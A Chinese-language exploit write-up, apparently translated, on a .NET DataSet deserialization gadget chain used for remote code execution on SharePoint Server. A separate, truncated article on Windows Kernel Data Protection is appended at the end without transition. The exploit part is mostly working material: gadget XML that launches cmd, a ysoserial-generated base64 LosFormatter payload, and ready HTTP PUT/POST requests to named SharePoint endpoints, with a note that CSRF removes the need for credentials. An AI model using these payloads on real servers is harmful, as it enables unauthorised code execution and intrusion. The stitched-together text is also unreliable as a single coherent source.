        < xs:element name="exp_x0020_table" >
          < xs:complexType >
            < xs:sequence >
              < xs:element name="ObjectDataProviderCol" msdata:DataType="System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" type="xs:anyType" minOccurs="0" / >
            < /xs:sequence >
          < /xs:complexType >
        < /xs:element >
      < /xs:choice >
    < /xs:complexType >
  < /xs:element >< /xs:schema >

在查看DataSet的代码后发现,它使用WriteXml和ReadXML公开了自己的序列化方法(包装在XmlSerializer上):

System.Data.DataSet.ReadXml(XmlReader reader, Boolean denyResolving)
  System.Data.DataSet.ReadXmlDiffgram(XmlReader reader)
    System.Data.XmlDataLoader.LoadData(XmlReader reader)
      System.Data.XmlDataLoader.LoadTable(DataTable table, Boolean isNested)
        System.Data.XmlDataLoader.LoadColumn(DataColumn column, Object[] foundColumns)
          System.Data.DataColumn.ConvertXmlToObject(XmlReader xmlReader, XmlRootAttribute xmlAttrib)
            System.Data.Common.ObjectStorage.ConvertXmlToObject(XmlReader xmlReader, XmlRootAttribute xmlAttrib)
              System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader)

现在,剩下的步骤就是将表格添加到数据集中,并对其进行序列化:

            DataSet ds = new DataSet("poc");
            ds.Tables.Add(exptable);
            using (var writer = new StringWriter())
            {
                ds.WriteXml(writer);
                Console.WriteLine(writer.ToString());
            }

这种序列化方式保留了模式类型,并在运行时使用实例化的XmlSerializer对象图中的单个DataSet预期类型来重建受到攻击者影响的类型。

0x02 DataSet Gadget

下面是可以构造的gadget示例,请注意,不要将它与ysoserial中的DataSet gadget混淆:

< DataSet >
  < xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="somedataset" >
    < xs:element name="somedataset" msdata:IsDataSet="true" msdata:UseCurrentLocale="true" >
      < xs:complexType >
        < xs:choice minOccurs="0" maxOccurs="unbounded" >
          < xs:element name="Exp_x0020_Table" >
            < xs:complexType >
              < xs:sequence >
                < xs:element name="pwn" msdata:DataType="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" type="xs:anyType" minOccurs="0"/ >
              < /xs:sequence >
            < /xs:complexType >
          < /xs:element >
        < /xs:choice >
      < /xs:complexType >
    < /xs:element >
  < /xs:schema >
  < diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1" >
    < somedataset >
      < Exp_x0020_Table diffgr:id="Exp Table1" msdata:rowOrder="0" diffgr:hasChanges="inserted" >
        < pwn xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
          < ExpandedElement/ >
          < ProjectedProperty0 >
            < MethodName >Parse< /MethodName >
            < MethodParameters >
              < anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string" >< ![CDATA[< ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system" >< ObjectDataProvider x:Key="LaunchCmd" ObjectType="{x:Type Diag:Process}" MethodName="Start" >< ObjectDataProvider.MethodParameters >< System:String >cmd< /System:String >< System:String >/c mspaint < /System:String >< /ObjectDataProvider.MethodParameters >< /ObjectDataProvider >< /ResourceDictionary >]] >< /anyType >
            < /MethodParameters >
            < ObjectInstance xsi:type="XamlReader"/ >
          < /ProjectedProperty0 >
        < /pwn >
      < /Exp_x0020_Table >
    < /somedataset >
  < /diffgr:diffgram >< /DataSet >

这个gadget链将在不包含接口成员的Type上调用任意静态方法。在这里,我打算使用知名的XamlReader.Parse加载恶意Xaml来执行系统命令。正如@pwntester在研究中提到的,我使用ExpandedWrapper类加载了两种不同的类型。

可以在许多sink中利用它,例如:

XmlSerializer ser = new XmlSerializer(typeof(DataSet));
Stream reader = new FileStream("c:/poc.xml", FileMode.Open);
ser.Deserialize(reader);

许多应用程序都认为DataSet是安全的,因此即使无法直接通过XmlSerializer控制期望的类型,DataSet也通常用于对象图中。但是,最有趣的sink是触发代码执行的DataSet.ReadXml:

DataSet ds = new DataSet();
ds.ReadXml("c:/poc.xml");

0x03 将Gadget应用在SharePoint Server

我们查看了ZDI-20-874,该漏洞公告提到了Microsoft.PerformancePoint.Scorecards.Client.ExcelDataSet控件,可以用于远程执行代码。这立即引起了我的关注,因为其类名称中包含“DataSet”名称。我们来查看一下SharePoint的默认web.config文件:

      < controls >
        < add tagPrefix="asp" namespace="System.Web.UI" assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" / >
        < add tagPrefix="SharePoint" namespace="Microsoft.SharePoint.WebControls" assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" / >
        < add tagPrefix="WebPartPages" namespace="Microsoft.SharePoint.WebPartPages" assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" / >
        < add tagPrefix="PWA" namespace="Microsoft.Office.Project.PWA.CommonControls" assembly="Microsoft.Office.Project.Server.PWA, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" / >
        < add tagPrefix="spsswc" namespace="Microsoft.Office.Server.Search.WebControls" assembly="Microsoft.Office.Server.Search, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" / >
      < /controls >

在控件标签下,我们可以看到Microsoft.PerformancePoint.Scorecards命名空间不存在前缀。但是,我们检查SafeControl标签,里面确实列出了允许的命名空间中的所有类型。

< configuration >
  < configSections >
  < SharePoint >
    < SafeControls >
      < SafeControl Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" Namespace="Microsoft.PerformancePoint.Scorecards" TypeName="*" / >
         ...

既然我们知道可以从这个命名空间实例化类,那么我们就可以深入研究代码以检查ExcelDataSet类型:

namespace Microsoft.PerformancePoint.Scorecards
{
 
       [Serializable]
       public class ExcelDataSet
       {

我注意到的第一件事,就是它可以序列化,因此我知道它可以实例化为控件,并且默认构造函数将会与未使用System.Xml.Serialization.XmlIgnoreAttribute属性标记的所有公共设置方法一起被调用。SharePoint使用XmlSerializer从控件创建对象,因此,在代码中只需要找到可以使攻击者提供的数据流入TemplateControl.ParseControl的任何地方,就可以利用ExcelDataSet类型。

其中比较明显的一个属性就是DataTable属性,因为它包含一个公开setter,并且使用了System.Data.DataTable类型。但是,经过仔细检查,我们可以看到它正在使用XmlIgnore属性,因此我们无法使用这个setter触发反序列化。

[XmlIgnore]
public DataTable DataTable
{
       get
       {
              if (this.dataTable == null && this.compressedDataTable != null)
              {
                     this.dataTable = (Helper.GetObjectFromCompressedBase64String(this.compressedDataTable, ExcelDataSet.ExpectedSerializationTypes) as DataTable);
                     if (this.dataTable == null)
                     {
                            this.compressedDataTable = null;
                     }
              }
              return this.dataTable;
       }
       set
       {
              this.dataTable = value;
              this.compressedDataTable = null;
       }
}

上述代码揭晓了部分答案,但是getter使用compressedDataTable属性调用GetObjectFromCompressedBase64String。这个方法将解码提供的Base64,解压缩二进制formatter Payload,然后用它来调用BinaryFormatter.Deserialize。但是,代码包含反序列化的预期类型,其中之一就是DataTable,因此我们不能只在这里填充生成的TypeConfuseDelegate。

              private static readonly Type[] ExpectedSerializationTypes = new Type[]
              {
                     typeof(DataTable),
                     typeof(Version)
              };

在检查CompressedDataTable属性时,我们可以看到设置compressedDataTable成员不会出现问题,因为它使用的是System.Xml.Serialization.XmlElementAttribute属性。

[XmlElement]
public string CompressedDataTable
{
       get
       {
              if (this.compressedDataTable == null && this.dataTable != null)
              {
                     this.compressedDataTable = Helper.GetCompressedBase64StringFromObject(this.dataTable);
              }
              return this.compressedDataTable;
       }
       set
       {
              this.compressedDataTable = value;
              this.dataTable = null;
       }
}

将上述组合在一起,我就可以注册一个前缀,并使用Base64编码、压缩和序列化的危险DataTable实例化控件:

PUT /poc.aspx HTTP/1.1
Host: < target >
Authorization: < ntlm auth header >
Content-Length: 1688
 
< %@ Register TagPrefix="escape" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c"% >< escape:ExcelDataSet runat="server" CompressedDataTable="H4sIAAAAAAAEALVWW2/bNhROegmadtvbHvYm6KFPtmTHSdoqlgs06YZgcRPE2RqgKDKaOrbZSKRGUraMYv9o+43doUTZju2mabHJgESfOw+/80kbmxsbG5/wMk9zfXcPb296U6Uh8Y6IJjXnd5CKCR7ueg3zqzmHWawzCSGHTEsS15yzrB8z+itML8Q18LD/7BnZo3v7zRetXWg8f/HQBP9xIWZxuyD9GO6j5qfZP+8cEqEZH9qU25dJ3KMjSMgTXB2xweAXSZL7m5s/2GDWztS8bUJtPcDb34/aL/Mkdsa2brfpNVwHOBURhg7dTA/qzX33Zef7x+1cBapI4KAHV6Hrlosgx/VI6zTw/clk4k1anpBDf6fRaPqX3ZOyqMo2URHuAANLbqOpesKoFEoMdJ2KJEC7emnlYlbHMXkhhgS4djhJIHRf5+lV3mjsNK6KTpRmpSEGSGPIL6YpWGkpV/BnhruaC9fFTSfcdcrUQdFnjBK6i2fRAzlmFJR3zDVITmIPayE8guitJGkK8o+dd++sw1vGIzFRXpfI6yz1LkkSnwOJQCIGJChMSzS2/Gc8JZgIef0N4Gk1+4PW8719ErX2d6G19762nLyo+rT/Aag2yzMpxuz/LeF9zVnXsf9gNFxHFweC50b41BzO7LQ0kUPQb3AbKiUUDDQTxk8pzSRiExHtz9Hgr8KhkC1DpxBagHwGiEokYPIr0LNSjpXZdw906GqZzUvsEsZnw7uK4crsNwWHmZSY40RQYiyLKHeAOB0JbPTSvhOSV/8y3heZgeq8G3fZd9mvYlI7Ww+RMv553I6QXYYyKB8k+ZbRtj5liC/5VInq46blhIXOV3tZ6qhji2RR0WynEDZnfZZicipxEoouWdMRUYcjwoeA3WJcgdTYrHmPkR5mhMe+zHh1DKEJgmxOk9EdeHKRoSpyeW1R5y8qcZbNWEOEC2QePW0saFFfTv2xLcLBmoNyfuZM5N6IiD5d0CMRmTnqnBGpoO0vSNZYohFqkArVDS3q7YQupMXtB0pLfK24naexPjgHJTJJ4YhRQ0JETqv3iu2RxYM3w4OHePAnjA9y07R9P8eN+OkCkc06/XUxKreSt0KXxrLOKy6x0gOiFCT9eBomigoZs37ldcTIcL2PZ1RcKM2omvurQuc+HeoD04ZVcnbyADkwdE9IxunoMMGBLY3K99HHPCg6a4IH6IPkqv5ynflB4SsL+VDfksFbPr3KtKw76BXHZIQ0iYzcX1Gstfapg5xFnc+7+F9RzBrbmWoVPEbV9i3sbmLVvwWsbf+WOWr7OPMzrlwiGEuWN5mo7S9xY+eB+dZa+gYzX15bV13yQUh8MG4erzIWR9tX5zBmxsR8Xz7C65791vxkryf/AlZRMe+GCgAA" / >

但是,我无法找到触发DataTable属性getter的方法。我知道我需要一种使用DataSet的方法,但是我并不知道如何使用。

多种方式实现目标

在我放松心情后,我决定以不同的方式来思考这个问题,并开始考虑还有哪些sink可以使用。然后,我想到了DataSet.ReadXml sink也是一个造成问题的来源,因此我再次检查了代码,并找到了这个有效的代码路径:

Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView.GetDataSet()
  Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView.PopulateDataSetFromCache(DataSet)

在ContactLinksSuggestionsMicroView类的内部,我们可以看到GetDataSet方法:

              protected override DataSet GetDataSet()
              {
                     base.StopProcessingRequestIfNotNeeded();
                     if (!this.Page.IsPostBack || this.Hidden)                                                                       // 1
                     {
                            return null;
                     }
                     DataSet dataSet = new DataSet();
                     DataTable dataTable = dataSet.Tables.Add();
                     dataTable.Columns.Add("PreferredName", typeof(string));
                     dataTable.Columns.Add("Weight", typeof(double));
                     dataTable.Columns.Add("UserID", typeof(string));
                     dataTable.Columns.Add("Email", typeof(string));
                     dataTable.Columns.Add("PageURL", typeof(string));
                     dataTable.Columns.Add("PictureURL", typeof(string));
                     dataTable.Columns.Add("Title", typeof(string));
                     dataTable.Columns.Add("Department", typeof(string));
                     dataTable.Columns.Add("SourceMask", typeof(int));
                     if (this.IsInitialPostBack)                                                                                      // 2
                     {
                            this.PopulateDataSetFromSuggestions(dataSet);
                     }
                     else
                     {
                            this.PopulateDataSetFromCache(dataSet);                                                                  // 3
                     }
                     this.m_strJavascript.AppendLine("var user = new Object();");
                     foreach (object obj in dataSet.Tables[0].Rows)
                     {
                            DataRow dataRow = (DataRow)obj;
                            string scriptLiteralToEncode = (string)dataRow["UserID"];
                            int num = (int)dataRow["SourceMask"];
                            this.m_strJavascript.Append("user['");
                            this.m_strJavascript.Append(SPHttpUtility.EcmaScriptStringLiteralEncode(scriptLiteralToEncode));
                            this.m_strJavascript.Append("'] = ");
                            this.m_strJavascript.Append(num.ToString(CultureInfo.CurrentCulture));
                            this.m_strJavascript.AppendLine(";");
                     }
                     StringWriter stringWriter = new StringWriter(CultureInfo.CurrentCulture);
                     dataSet.WriteXml(stringWriter);
                     SPPageContentManager.RegisterHiddenField(this.Page, "__SUGGESTIONSCACHE__", stringWriter.ToString());
                     return dataSet;
              }

在[1]的位置,代码检查该请求是否为POST返回请求。为了确保这一点,攻击者可以设置__viewstate POST变量,然后代码在[2]的位置检查__SUGGESTIONSCACHE__ POST变量是否已经设置,如果已设置,则IsInitialPostBack getter将返回false。只要这个getter返回false,攻击者就可以到达[3],到达PopulateDataSetFromCache。该调用将使用已经使用特定模式定义创建的数据集。

              protected void PopulateDataSetFromCache(DataSet ds)
              {
                     string value = SPRequestParameterUtility.GetValue< string >(this.Page.Request, "__SUGGESTIONSCACHE__", SPRequestParameterSource.Form);
                     using (XmlTextReader xmlTextReader = new XmlTextReader(new StringReader(value)))
                     {
                            xmlTextReader.DtdProcessing = DtdProcessing.Prohibit;
                            ds.ReadXml(xmlTextReader);                                                                              // 4
                            ds.AcceptChanges();
                     }
              }

在PopulateDataSetFromCache内部,代码调用SPRequestParameterUtility.GetValue以从__SUGGESTIONSCACHE__请求变量获取攻击者控制的数据,并使用XmlTextReader将其直接解析为ReadXml。先前定义的模式被攻击者提供的XML内部的模式所覆盖,并且在[4]发生不可信类型的反序列化,从而导致远程代码执行。为了触发此操作,我创建了一个页面,该页面专门使用ContactLinksSuggestionsMicroView类型:

PUT /poc.aspx HTTP/1.1
Host: < target >
Authorization: < ntlm auth header >
Content-Length: 252
 
< %@ Register TagPrefix="escape" Namespace="Microsoft.SharePoint.Portal.WebControls" Assembly="Microsoft.SharePoint.Portal, Version=15.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c"% >< escape:ContactLinksSuggestionsMicroView runat="server" / >

如果我们以低特权用户身份利用这一漏洞,并且AddAndCustomizePages设置已经禁用,那么就可以利用实例化InputFormContactLinksSuggestionsMicroView控件的页面来利用这一漏洞,因为它是从ContactLinksSuggestionsMicroView扩展而来的。

namespace Microsoft.SharePoint.Portal.WebControls
{
 
       [SharePointPermission(SecurityAction.Demand, ObjectModel = true)]
       [AspNetHostingPermission(SecurityAction.LinkDemand, Level = AspNetHostingPermissionLevel.Minimal)]
       [AspNetHostingPermission(SecurityAction.InheritanceDemand, Level = AspNetHostingPermissionLevel.Minimal)]
       [SharePointPermission(SecurityAction.InheritanceDemand, ObjectModel = true)]
       public class InputFormContactLinksSuggestionsMicroView : ContactLinksSuggestionsMicroView
       {

我发现了一些实现该控件的终端,但暂时还没有时间对其进行测试。(更新:Soroush Dalili对其进行了测试,并且确认它们的确是可以利用的)

    /_layouts/15/quicklinks.aspx?Mode=Suggestion
/_layouts/15/quicklinksdialogform.aspx?Mode=Suggestion

现在,要利用漏洞,我们可以对新创建的页面执行POST请求:

POST /poc.aspx HTTP/1.1
Host: < target >
Authorization: < ntlm auth header >
Content-Type: application/x-www-form-urlencoded
Content-Length: < length >
 
__viewstate=&__SUGGESTIONSCACHE__=< urlencoded DataSet gadget >

或者:

POST /quicklinks.aspx?Mode=Suggestion HTTP/1.1
Host: < target >
Authorization: < ntlm auth header >
Content-Type: application/x-www-form-urlencoded
Content-Length: < length >
 
__viewstate=&__SUGGESTIONSCACHE__=< urlencoded DataSet gadget >

或者:

POST /quicklinksdialogform.aspx?Mode=Suggestion HTTP/1.1
Host: < target >
Authorization: < ntlm auth header >
Content-Type: application/x-www-form-urlencoded
Content-Length: < length >

__viewstate=&__SUGGESTIONSCACHE__=< urlencoded DataSet gadget >

请注意,也可以对每个终端进行CSRF攻击,因此不一定需要凭据。

0x04 最后一件事

我们不能使用XamlReader.Load静态方法,因为IIS Web服务器将模拟为IUSR帐户,并且该帐户对注册表的访问是受限的。如果尝试这样做,除非在IIS下没有金庸模拟,并使用了应用程序池标识,否则最终会得到这样的堆栈跟踪:

{System.InvalidOperationException: There is an error in the XML document. --- > System.TypeInitializationException: The type initializer for 'MS.Utility.EventTrace' threw an exception. --- > System.Security.SecurityException: Requested registry access is not allowed.
   at System.ThrowHelper.ThrowSecurityException(ExceptionResource resource)
   at Microsoft.Win32.RegistryKey.OpenSubKey(String name, Boolean writable)
   at Microsoft.Win32.RegistryKey.OpenSubKey(String name)
   at Microsoft.Win32.Registry.GetValue(String keyName, String valueName, Object defaultValue)
   at MS.Utility.EventTrace.IsClassicETWRegistryEnabled()
   at MS.Utility.EventTrace..cctor()
   --- End of inner exception stack trace ---
   at MS.Utility.EventTrace.EasyTraceEvent(Keyword keywords, Event eventID, Object param1)
   at System.Windows.Markup.XamlReader.Load(XmlReader reader, ParserContext parserContext, XamlParseMode parseMode, Boolean useRestrictiveXamlReader, List`1 safeTypes)
   at System.Windows.Markup.XamlReader.Load(XmlReader reader, ParserContext parserContext, XamlParseMode parseMode, Boolean useRestrictiveXamlReader)
   at System.Windows.Markup.XamlReader.Load(XmlReader reader, ParserContext parserContext, XamlParseMode parseMode)
   at System.Windows.Markup.XamlReader.Load(XmlReader reader)
   at System.Windows.Markup.XamlReader.Parse(String xamlText)
   --- End of inner exception stack trace ---
   at System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader, String encodingStyle, XmlDeserializationEvents events)
   at System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader, String encodingStyle)
   at System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader)
   at System.Data.Common.ObjectStorage.ConvertXmlToObject(XmlReader xmlReader, XmlRootAttribute xmlAttrib)
   at System.Data.DataColumn.ConvertXmlToObject(XmlReader xmlReader, XmlRootAttribute xmlAttrib)
   at System.Data.XmlDataLoader.LoadColumn(DataColumn column, Object[] foundColumns)
   at System.Data.XmlDataLoader.LoadTable(DataTable table, Boolean isNested)
   at System.Data.XmlDataLoader.LoadData(XmlReader reader)
   at System.Data.DataSet.ReadXmlDiffgram(XmlReader reader)
   at System.Data.DataSet.ReadXml(XmlReader reader, Boolean denyResolving)
   at System.Data.DataSet.ReadXml(XmlReader reader)
   at Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView.PopulateDataSetFromCache(DataSet ds)
   at Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView.GetDataSet()
   at Microsoft.SharePoint.Portal.WebControls.PrivacyItemView.GetQueryResults(Object obj)

我们需要找到另一个危险的静态方法或setter,以从不使用接口成员的类型进行调用。我想将这一部分作为留给读者的练习,祝大家好运!

0x05 远程代码执行漏洞利用

好吧,实际上,我是希望大家能完整地阅读这篇文章,而不只是急于找到漏洞的Payload,这样将有助于我们更好地理解基础技术。无论如何,要利用该漏洞,我们可以使用LosFormatter.Deserialize方法,因为这个类中不包含接口成员。为此,我们需要生成序列化的ObjectStateFormatter小工具链的Base64 Payload:

c:\> ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c mspaint

现在,我们可以将Payload插入到以下DataSet gadget中,并针对目标SharePoint Server触发远程代码执行。

< DataSet >
  < xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="somedataset" >
    < xs:element name="somedataset" msdata:IsDataSet="true" msdata:UseCurrentLocale="true" >
      < xs:complexType >
        < xs:choice minOccurs="0" maxOccurs="unbounded" >
          < xs:element name="Exp_x0020_Table" >
            < xs:complexType >
              < xs:sequence >
                < xs:element name="pwn" msdata:DataType="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.LosFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" type="xs:anyType" minOccurs="0"/ >
              < /xs:sequence >
            < /xs:complexType >
          < /xs:element >
        < /xs:choice >
      < /xs:complexType >
    < /xs:element >
  < /xs:schema >
  < diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1" >
    < somedataset >
      < Exp_x0020_Table diffgr:id="Exp Table1" msdata:rowOrder="0" diffgr:hasChanges="inserted" >
        < pwn xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
        < ExpandedElement/ >
        < ProjectedProperty0 >
            < MethodName >Deserialize< /MethodName >
            < MethodParameters >
                < anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string" >/wEykwcAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAC1BTw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi04Ij8+DQo8T2JqZWN0RGF0YVByb3ZpZGVyIE1ldGhvZE5hbWU9IlN0YXJ0IiBJc0luaXRpYWxMb2FkRW5hYmxlZD0iRmFsc2UiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOnNkPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1TeXN0ZW0iIHhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIj4NCiAgPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCiAgICA8c2Q6UHJvY2Vzcz4NCiAgICAgIDxzZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICAgICAgPHNkOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBtc3BhaW50IiBTdGFuZGFyZEVycm9yRW5jb2Rpbmc9Int4Ok51bGx9IiBTdGFuZGFyZE91dHB1dEVuY29kaW5nPSJ7eDpOdWxsfSIgVXNlck5hbWU9IiIgUGFzc3dvcmQ9Int4Ok51bGx9IiBEb21haW49IiIgTG9hZFVzZXJQcm9maWxlPSJGYWxzZSIgRmlsZU5hbWU9ImNtZCIgLz4NCiAgICAgIDwvc2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgPC9zZDpQcm9jZXNzPg0KICA8L09iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs=< /anyType >
            < /MethodParameters >
            < ObjectInstance xsi:type="LosFormatter" >< /ObjectInstance >
        < /ProjectedProperty0 >
        < /pwn >
      < /Exp_x0020_Table >
    < /somedataset >
  < /diffgr:diffgram >< /DataSet >

针对IIS进程获得远程代码执行:

1.png

0x06 总结

Microsoft将该漏洞的可利用级别评估为1,我们同意这一点,这说明应该立即对该漏洞进行修复。值得一提的是,这个gadget链可以用于使用.NET构建的多个应用程序,即使未安装SharePoint Server,也仍然会受到这个漏洞的影响。

0x07 参考资料

[1] https://speakerdeck.com/pwntester/attacking-net-serialization

[2] https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/dataset-datatable-dataview/security-guidance

[3] https://www.zerodayinitiative.com/advisories/ZDI-20-874/

0x00 前言

对于攻击者来说,随着像代码完整性(CI)、控制流防护(CFG)这样防止内存损坏的安全技术不断出现,他们开始将目光转向数据损坏这一方面。攻击者利用数据破坏技术,可以修改系统安全策略、提升特权、篡改安全证明、修改“一次初始化”数据结构等。

内核数据保护(Kernel Data Protection,KDP)是一项新技术,可以通过基于虚拟化的安全性(VBS)保护部分Windows内核和驱动程序。KDP是一组API,可以将某些内核内存标记为只读,从而防止攻击者修改受保护的内存。例如,我们已经发现有攻击者使用经过签名但易受攻击的驱动程序来攻击策略数据结构,并安装未经签名的恶意驱动程序。KDP可以通过保证策略数据结构不会被篡改的方式来缓解此类攻击。

这种保护内核内存为只读状态的概念,在Windows内核、收件箱组件、安全产品甚至第三方驱动程序(例如:反作弊和数字版权管理DRM软件)之中都有重要的应用。除了该技术在安全性的重要性以及应用程序防篡改保护之外,其他优点还在于:

1、性能改进:KDP减轻了证明组件(attestation component)的负担,不再需要定期验证已经设置写保护的数据变量;

2、可靠性改进:借助KDP,可以更轻松地诊断出内核损坏问题,而这些问题不一定属于安全性漏洞。

3、可以促进驱动程序开发人员和厂商改善虚拟化安全方案的兼容性,并在生态系统中提高这些技术的采用率。

KDP使用安全核心计算机上默认支持的技术,这些技术实现了一组特定的设备要求,而这些要求将隔离最佳实践、对Windows操作系统的信任最小化等安全性应用到这些技术之中。KDP可以为敏感的系统配置数据增加另一层保护,从而增强由安全核心PC(Secured-core PC)功能提供的安全性。

在这篇文章中,我们将分享有关内核数据保护的工作原理,以及如何在Windows 10上实现的技术细节,希望能促进驱动程序开发人员和厂商充分利用这项旨在防范数据损坏攻击的安全技术。

0x01 内核数据保护:概述

在VBS环境中,常规NT内核在称为VTL0的虚拟化环境中运行,而安全内核在称为VTL1的环境中运行,后者是一个更加安全的隔离环境。有关VBS和安全内核的更多详细信息,请参考这里(https://channel9.msdn.com/Blogs/Seth-Juarez/Isolated-User-Mode-in-Windows-10-with-Dave-Probert)和这里(https://channel9.msdn.com/Blogs/Seth-Juarez/Windows-10-Virtual-Secure-Mode-with-David-Hepkin)。KDP的目标是保护Windows内核中运行的驱动程序和软件(即操作系统代码本身)不会受到数据方面的攻击。KDP分为两个部分来实现:

1、静态KDP能使内核模式下运行的软件能够静态保护其自身映像的一部分,以避免被VTL0中的任何其他实体篡改。

2、动态KDP帮助内核模式软件从“安全池”分配和释放只读内存。从池中返回的内存只能初始化一次。

由KDP管理的内存始终由安全内核(VTL1)验证,并由虚拟机管理程序(hypervisor)使用二级地址转换(SLAT)表进行保护。最终,在NT内核(VTL0)中运行的任何软件都将无法修改受保护内存的内容。

在最新版本的Windows 10 Insider Build中已经提供了动态KDP和静态KDP,并且可以使用任何类型的内存(可执行页面除外)。虚拟机管理程序保护的代码完整性(HVCI)已经为可执行页面提供了保护,该功能可以防止任何未经签名的内存被设置为可执行状态,授予W^X(可写或者可执行,不能二者同时)的条件。

本文没有对HVCI和W^X条件进行介绍,有关更多详细信息,请参阅即将出版的Windows Internals图书。

1.1 静态KDP

如果驱动程序需要通过静态KDP保护其映像,则应该调用MmProtectDriverSection API,该API具有以下原型:

NTSTATUS MmProtectDriverSection (PVOID AddressWithinSection, SIZE_T Size, ULONG Flags)

驱动程序指定一个位于数据段内部的地址、受保护区域的大小(可选)和一些标志。在撰写本文时,“size”参数暂时保留以供将来使用。地址所驻留的整个数据部分将始终受到API保护。

如果函数成功执行,则支持静态部分的内存对于VTL0变为只读,并且由SLAT保护。在这里,不允许卸载带有受保护部分的驱动程序,如果尝试卸载,将会产生蓝屏错误。但是,我们知道有时应该可以卸载驱动程序。因此,我们引入了MM_PROTECT_DRIVER_SECTION_ALLOW_UNLOAD标志。如果调用方指定了它,则系统可以卸载目标驱动程序,这意味着在这种情况下,受保护的部分将首先转为不受保护的状态,然后再由NtUnloadDriver释放。

1.2 动态KDP

动态KDP允许驱动程序使用安全池提供的服务来分配和初始化只读内存,该池由安全内核管理。使用者首先创建与标签关联的安全池上下文,之后所有的内存分配都将与创建的安全池上下文相关联。在创建上下文后,可以通过ExAllocatePool3 API的新扩展参数执行只读分配:

PVOID ExAllocatePool3 (POOL_FLAGS Flags, SIZE_T NumberOfBytes, ULONG Tag, PCPOOL_EXTENDED_PARAMETER ExtendedParameters, ULONG Count);

